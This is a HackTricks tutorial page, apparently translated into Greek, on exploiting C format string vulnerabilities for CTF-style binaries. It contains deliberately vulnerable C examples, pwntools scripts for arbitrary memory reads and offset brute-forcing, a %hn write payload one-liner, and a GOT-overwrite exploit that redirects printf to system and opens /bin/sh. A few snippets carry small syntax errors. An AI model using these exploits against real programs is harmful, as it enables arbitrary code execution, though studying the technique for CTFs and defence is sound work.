hacktricks/binary-exploitation/format-strings/README.md

247 lines
16 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Format Strings
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Basic Information
Στην C **`printf`** είναι μια συνάρτηση που μπορεί να χρησιμοποιηθεί για να **εκτυπώσει** κάποιο κείμενο. Η **πρώτη παράμετρος** που περιμένει αυτή η συνάρτηση είναι το **ακατέργαστο κείμενο με τους μορφοποιητές**. Οι **επόμενες παράμετροι** που αναμένονται είναι οι **τιμές** για να **αντικαταστήσουν** τους **μορφοποιητές** από το ακατέργαστο κείμενο.
Άλλες ευάλωτες συναρτήσεις είναι οι **`sprintf()`** και **`fprintf()`**.
Η ευπάθεια εμφανίζεται όταν ένα **κείμενο επιτιθέμενου χρησιμοποιείται ως η πρώτη παράμετρος** σε αυτή τη συνάρτηση. Ο επιτιθέμενος θα είναι σε θέση να δημιουργήσει μια **ειδική είσοδο εκμεταλλευόμενος** τις δυνατότητες της **μορφής printf** για να διαβάσει και να **γράψει οποιαδήποτε δεδομένα σε οποιαδήποτε διεύθυνση (αναγνώσιμη/γραπτή)**. Έχοντας έτσι τη δυνατότητα να **εκτελέσει αυθαίρετο κώδικα**.
#### Formatters:
```bash
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
```
**Παραδείγματα:**
* Ευάλωτο παράδειγμα:
```c
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
```
* Κανονική Χρήση:
```c
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
```
* Με Ελλείποντες Παραμέτρους:
```c
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
```
* fprintf ευάλωτο:
```c
#include <stdio.h>
int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input cna include formatters!
fclose(output_file);
return 0;
}
```
### **Πρόσβαση σε Δείκτες**
Η μορφή **`%<n>$x`**, όπου `n` είναι ένας αριθμός, επιτρέπει να υποδείξετε στο printf να επιλέξει την n παράμετρο (από τη στοίβα). Έτσι, αν θέλετε να διαβάσετε την 4η παράμετρο από τη στοίβα χρησιμοποιώντας το printf, μπορείτε να κάνετε:
```c
printf("%x %x %x %x")
```
και θα διαβάζατε από την πρώτη έως την τέταρτη παράμετρο.
Ή θα μπορούσατε να κάνετε:
```c
printf("$4%x")
```
και να διαβάσει απευθείας το τέταρτο.
Σημειώστε ότι ο επιτιθέμενος ελέγχει την παράμετρο `pr`**`intf`**, που σημαίνει ότι** η είσοδός του θα είναι στη στοίβα όταν κληθεί το `printf`, που σημαίνει ότι θα μπορούσε να γράψει συγκεκριμένες διευθύνσεις μνήμης στη στοίβα.
{% hint style="danger" %}
Ένας επιτιθέμενος που ελέγχει αυτή την είσοδο, θα είναι σε θέση να **προσθέσει αυθαίρετη διεύθυνση στη στοίβα και να κάνει το `printf` να τις προσπελάσει**. Στην επόμενη ενότητα θα εξηγηθεί πώς να χρησιμοποιήσετε αυτή τη συμπεριφορά.
{% endhint %}
## **Αυθαίρετη Ανάγνωση**
Είναι δυνατόν να χρησιμοποιήσετε τον μορφοποιητή **`%n$s`** για να κάνετε το **`printf`** να αποκτήσει τη **διεύθυνση** που βρίσκεται στη **n θέση**, ακολουθώντας την και **να την εκτυπώσει σαν να ήταν μια συμβολοσειρά** (εκτύπωση μέχρι να βρεθεί ένα 0x00). Έτσι, αν η βασική διεύθυνση του δυαδικού είναι **`0x8048000`**, και γνωρίζουμε ότι η είσοδος του χρήστη ξεκινά στη 4η θέση στη στοίβα, είναι δυνατόν να εκτυπωθεί η αρχή του δυαδικού με:
```python
from pwn import *
p = process('./bin')
payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
```
{% hint style="danger" %}
Σημειώστε ότι δεν μπορείτε να βάλετε τη διεύθυνση 0x8048000 στην αρχή της εισόδου γιατί η συμβολοσειρά θα κοπεί στο 0x00 στο τέλος αυτής της διεύθυνσης.
{% endhint %}
### Βρείτε την απόσταση
Για να βρείτε την απόσταση στην είσοδό σας, μπορείτε να στείλετε 4 ή 8 bytes (`0x41414141`) ακολουθούμενα από **`%1$x`** και **να αυξήσετε** την τιμή μέχρι να ανακτήσετε τα `A's`.
<details>
<summary>Brute Force printf offset</summary>
```python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
from pwn import *
# Iterate over a range of integers
for i in range(10):
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
# Start a new process of the "chall" binary
p = process("./chall")
# Send the payload to the process
p.sendline(payload)
# Read and store the output of the process
output = p.clean()
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break
# Close the process
p.close()
```
</details>
### Πόσο χρήσιμο
Οι αυθαίρετες αναγνώσεις μπορούν να είναι χρήσιμες για:
* **Dump** το **binary** από τη μνήμη
* **Πρόσβαση σε συγκεκριμένα μέρη της μνήμης όπου αποθηκεύεται ευαίσθητη** **πληροφορία** (όπως canaries, κλειδιά κρυπτογράφησης ή προσαρμοσμένους κωδικούς πρόσβασης όπως σε αυτήν την [**CTF πρόκληση**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
## **Αυθαίρετη Εγγραφή**
Ο μορφοποιητής **`$<num>%n`** **γράφει** τον **αριθμό των γραμμένων byte** στη **δεικνυόμενη διεύθυνση** στην παράμετρο \<num> στο stack. Εάν ένας επιτιθέμενος μπορεί να γράψει όσους χαρακτήρες θέλει με το printf, θα είναι σε θέση να κάνει **`$<num>%n`** να γράψει έναν αυθαίρετο αριθμό σε μια αυθαίρετη διεύθυνση.
Ευτυχώς, για να γράψει τον αριθμό 9999, δεν χρειάζεται να προσθέσει 9999 "A"s στην είσοδο, για να το κάνει αυτό είναι δυνατό να χρησιμοποιήσει τον μορφοποιητή **`%.<num-write>%<num>$n`** για να γράψει τον αριθμό **`<num-write>`** στη **διεύθυνση που υποδεικνύεται από τη θέση `num`**.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
Ωστόσο, σημειώστε ότι συνήθως για να γράψετε μια διεύθυνση όπως το `0x08049724` (η οποία είναι ένας ΜΕΓΑΛΟΣ αριθμός για να γραφτεί ταυτόχρονα), **χρησιμοποιείται το `$hn`** αντί για το `$n`. Αυτό επιτρέπει να **γραφούν μόνο 2 Bytes**. Επομένως, αυτή η λειτουργία εκτελείται δύο φορές, μία για τα υψηλότερα 2B της διεύθυνσης και άλλη μία για τα χαμηλότερα.
Επομένως, αυτή η ευπάθεια επιτρέπει να **γραφεί οτιδήποτε σε οποιαδήποτε διεύθυνση (τυχαία εγγραφή).**
Σε αυτό το παράδειγμα, ο στόχος είναι να **επικαλυφθεί** η **διεύθυνση** μιας **λειτουργίας** στον πίνακα **GOT** που θα κληθεί αργότερα. Αν και αυτό θα μπορούσε να εκμεταλλευτεί άλλες τεχνικές τυχαίας εγγραφής για εκτέλεση:
{% content-ref url="../arbitrary-write-2-exec/" %}
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
{% endcontent-ref %}
Θα **επικαλυφθεί** μια **λειτουργία** που **λαμβάνει** τα **ορίσματά** της από τον **χρήστη** και θα **δείξει** τη **λειτουργία `system`**.\
Όπως αναφέρθηκε, για να γραφεί η διεύθυνση, συνήθως απαιτούνται 2 βήματα: Πρώτα **γράφονται 2Bytes** της διεύθυνσης και στη συνέχεια τα άλλα 2. Για να το κάνετε αυτό, χρησιμοποιείται το **`$hn`**.
* **HOB** καλείται για τα 2 υψηλότερα bytes της διεύθυνσης
* **LOB** καλείται για τα 2 χαμηλότερα bytes της διεύθυνσης
Στη συνέχεια, λόγω του πώς λειτουργεί η μορφή της συμβολοσειράς, πρέπει να **γράψετε πρώτα το μικρότερο** από \[HOB, LOB] και μετά το άλλο.
Αν HOB < LOB\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
Αν HOB > LOB\
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
{% code overflow="wrap" %}
```bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
```
{% endcode %}
### Pwntools Template
Μπορείτε να βρείτε ένα **πρότυπο** για να προετοιμάσετε μια εκμετάλλευση για αυτόν τον τύπο ευπάθειας στο:
{% content-ref url="format-strings-template.md" %}
[format-strings-template.md](format-strings-template.md)
{% endcontent-ref %}
Ή αυτό το βασικό παράδειγμα από [**εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
```python
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
```
## Format Strings to BOF
Είναι δυνατόν να καταχραστούμε τις ενέργειες εγγραφής μιας ευπάθειας μορφής συμβολοσειράς για να **γράψουμε σε διευθύνσεις της στοίβας** και να εκμεταλλευτούμε μια ευπάθεια τύπου **buffer overflow**.
## Other Examples & References
* [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
* [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
* 32 bit, no relro, no canary, nx, no pie, βασική χρήση μορφών συμβολοσειρών για να διαρρεύσει η σημαία από τη στοίβα (δεν χρειάζεται να αλλάξει η ροή εκτέλεσης)
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
* 32 bit, relro, no canary, nx, no pie, μορφή συμβολοσειράς για να αντικαταστήσει τη διεύθυνση `fflush` με τη λειτουργία win (ret2win)
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
* 32 bit, relro, no canary, nx, no pie, μορφή συμβολοσειράς για να γράψει μια διεύθυνση μέσα στο main στο `.fini_array` (έτσι ώστε η ροή να επαναληφθεί 1 φορά ακόμα) και να γράψει τη διεύθυνση στο `system` στον πίνακα GOT που δείχνει στο `strlen`. Όταν η ροή επιστρέψει στο main, το `strlen` εκτελείται με είσοδο χρήστη και δείχνει στο `system`, θα εκτελέσει τις εντολές που έχουν περαστεί.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}